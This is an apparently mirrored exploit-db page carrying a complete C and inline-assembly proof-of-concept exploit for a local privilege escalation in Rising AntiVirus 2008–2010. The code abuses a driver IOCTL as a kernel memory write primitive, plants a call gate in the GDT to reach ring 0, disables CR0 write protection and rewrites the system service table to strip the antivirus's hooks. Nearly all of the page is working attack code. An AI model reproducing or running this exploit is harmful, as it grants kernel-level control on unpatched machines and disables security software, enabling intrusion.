Rising AntiVirus 2008/2009/2010 – Local Privilege Escalation

  • 作者: Dlrow
    日期: 2010-01-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/11281/
  • //by Dlrow dlrow1991@ymail.com<mailto:dlrow1991@ymail.com>
    
    //restore all ssdt hooks
    
    // Rising0day.cpp : Defines the entry point for the console application.
    //
    #include "stdafx.h"
    #include "windows.h"
    enum { SystemModuleInformation = 11 };
    typedef struct {
    ULONG Unknown1;
    ULONG Unknown2;
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORTIndex;
    USHORTNameLength;
    USHORTLoadCount;
    USHORTPathLength;
    CHARImageName[256];
    } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
    typedef struct {
    ULONG Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
    } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
    HANDLE g_RsGdiHandle = 0 ;
    void __stdcall WriteKVM(PVOID Address , ULONG Value)
    {
     ULONG ColorValue = Value ;
     ULONG btr ;
     ULONG ColorBuffer = 0 ;
    
     DeviceIoControl(g_RsGdiHandle ,
    0x83003C0B,
    &ColorValue ,
    sizeof(ULONG),
    &ColorBuffer ,
    sizeof(ULONG),
    &btr ,
    0
    );
     DeviceIoControl(g_RsGdiHandle ,
    0x83003C0B,
    &ColorValue ,
    sizeof(ULONG),
    Address ,
    sizeof(ULONG),
    &btr ,
    0
    );
     return ;
    }
    void AddCallGate()
    {
     ULONG Gdt_Addr;
     ULONG CallGateData[0x4];
     ULONG Icount;
     __asm
     {
    push edx
    sgdt [esp-2]
    pop edx
    mov Gdt_Addr , edx
     }
     __asm
     {
    
    push 0xc3
    push Gdt_Addr
    call WriteKVM
    mov eax,Gdt_Addr
    mov word ptr[CallGateData],ax
    shr eax,16
    mov word ptr[CallGateData+6],ax
    mov dword ptr[CallGateData+2],0x0ec0003e8
    mov dword ptr[CallGateData+8],0x0000ffff
    mov dword ptr[CallGateData+12],0x00cf9a00
    xor eax,eax
    LoopWrite:
    mov edi,dword ptr CallGateData[eax]
    
    push edi
    mov edi,Gdt_Addr
    add edi,0x3e0
    add edi,eax
    push edi
    mov Icount,eax
    call WriteKVM
    mov eax,Icount
    add eax , 0x4
    cmp eax,0x10
    jnz LoopWrite
     }
    
     return ;
    }
    
    void IntoR0(PVOID function)
    {
     WORD Callgt[3];
     Callgt[0] = 0;
     Callgt[1] = 0;
     Callgt[2] = 0x3e3;
     __asm
     {
    call fword ptr[Callgt]
    mov eax,esp
    mov esp,[esp+4]
    push eax
    call function
    pop esp
    push offset ring3Ret
    retf
    ring3Ret:
    nop
     }
     return ;
    
    }
    #pragma pack(1)
    typedef struct _IDTR
    {
     SHORTIDTLimit;
     UINTIDTBase;
    }IDTR,
     *PIDTR,
     **PPIDTR;
    #pragma pack()
    ULONG g_RealSSDT = 0 ;
    ULONG ServiceNum = 0 ;
    ULONG OrgService [0x1000] ;
    ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva)
    {
     ULONG Offset = Rva, Limit;
     IMAGE_SECTION_HEADER *Img;
     WORD i;
    
     Img = IMAGE_FIRST_SECTION(NT);
    
     if (Rva < Img->PointerToRawData)
    return Rva;
    
     for (i = 0; i < NT->FileHeader.NumberOfSections; i++)
     {
    if (Img[i].SizeOfRawData)
     Limit = Img[i].SizeOfRawData;
    else
     Limit = Img[i].Misc.VirtualSize;
    
    if (Rva >= Img[i].VirtualAddress &&
     Rva < (Img[i].VirtualAddress + Limit))
    {
     if (Img[i].PointerToRawData != 0)
     {
    Offset -= Img[i].VirtualAddress;
    Offset += Img[i].PointerToRawData;
     }
    
     return Offset;
    }
     }
    
     return 0;
    }
    #define ibaseDD *(PDWORD)&ibase
    DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh, PIMAGE_SECTION_HEADER *psh)
    {
    PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;
    if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE)) return FALSE;
    *pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
    if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE) return FALSE;
    *pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));
    *poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));
    if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE;
    *psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));
    return TRUE;
    }
    typedef struct {
    WORDoffset:12;
    WORDtype:4;
    } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
    #define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))
    DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT , PULONG ImageBase)
    {
    PIMAGE_FILE_HEADERpfh;
    PIMAGE_OPTIONAL_HEADERpoh;
    PIMAGE_SECTION_HEADERpsh;
    PIMAGE_BASE_RELOCATIONpbr;
    PIMAGE_FIXUP_ENTRYpfe;
    
    DWORDdwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
    BOOLbFirstChunk;
    
    GetHeaders((PCHAR)hModule,&pfh,&poh,&psh);
    
    if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
    (!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {
    
    pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);
    bFirstChunk=TRUE;
    while (bFirstChunk || pbr->VirtualAddress) {
    bFirstChunk=FALSE;
    
    pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
    
    for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) {
    if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {
    dwFixups++;
    dwPointerRva=pbr->VirtualAddress+pfe->offset;
    dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase;
    
    if (dwPointsToRva==dwKSDT)
     {
    if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7)
    {
    dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase;
     *ImageBase = poh->ImageBase;
    return dwKiServiceTable;
    }
    }
    
    }
    }
    *(PDWORD)&pbr+=pbr->SizeOfBlock;
    }
    }
    
    return 0;
    }
    DWORD CR0Reg ;
    ULONG realssdt ;
    void InKerneProc()
    {
     __asm
     {
    cli
    mov eax, cr0
    mov CR0Reg,eax
    and eax,0xFFFEFFFF
    mov cr0, eax
     }
     int i;
     for (i = 0; i < (int)ServiceNum; i++)
     {
    *(ULONG*)(*(ULONG*)realssdt + i * sizeof(ULONG)) = OrgService[i];
     }
     __asm
     {
    mov eax, CR0Reg
    mov cr0, eax
    sti
     }
    
    }
    int main(int argc, char* argv[])
    {
     printf("Rising AntiVirus 2008 ~ 2010 \n"
    "Local Privilege Escalation Vulnerability Proof Of Concept Exploit\n 2010-1-27\n");
    
     g_RsGdiHandle = CreateFile("\\\\.\\RSNTGDI" ,
    0,
    FILE_SHARE_READ | FILE_SHARE_WRITE ,
    0,
    OPEN_EXISTING , 0 , 0 );
     if (g_RsGdiHandle == INVALID_HANDLE_VALUE)
     {
    return 0 ;
     }
    
     SYSTEM_MODULE_INFORMATION ModuleInfo ;
    
     // Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
    
     HMODULE hlib = GetModuleHandle("ntdll.dll");
     PVOID pNtQuerySystemInformation = GetProcAddress(hlib , "NtQuerySystemInformation");
     ULONG infosize = sizeof(ModuleInfo);
    
     __asm
     {
    push 0
    push infosize
    lea eax , ModuleInfo
    push eax
    push 11
    call pNtQuerySystemInformation
     }
    
     HMODULE KernelHandle ;
     LPCSTR ntosname = (LPCSTR)((ULONG)ModuleInfo.Module[0].ImageName + ModuleInfo.Module[0].PathLength);
    
    // Load the kernel image specified
     KernelHandle = LoadLibrary(ntosname);
     if (KernelHandle == 0 )
     {
    return 0 ;
     }
    
     ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , "KeServiceDescriptorTable");
    
     if (KeSSDT == 0 )
     {
    return 0 ;
     }
     ULONG ImageBase = 0 ;
     ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT - (ULONG)KernelHandle , &ImageBase);
     if (KiSSDT == 0 )
     {
    return 0 ;
     }
     KiSSDT += (ULONG)KernelHandle;
     ServiceNum = 0x11c ;
     ULONG i ;
    
     for (i = 0 ; i < ServiceNum ; i ++)
     {
    OrgService[i] = *(ULONG*)(KiSSDT + i * sizeof(ULONG)) + (ULONG)ModuleInfo.Module[0].Base - ImageBase;
     }
    
     realssdt = KeSSDT - (ULONG)KernelHandle + (ULONG)ModuleInfo.Module[0].Base;
    
     SetThreadAffinityMask(GetCurrentThread () , 0 ) ;
    
     AddCallGate();
     IntoR0(InKerneProc);
     return 0;
    }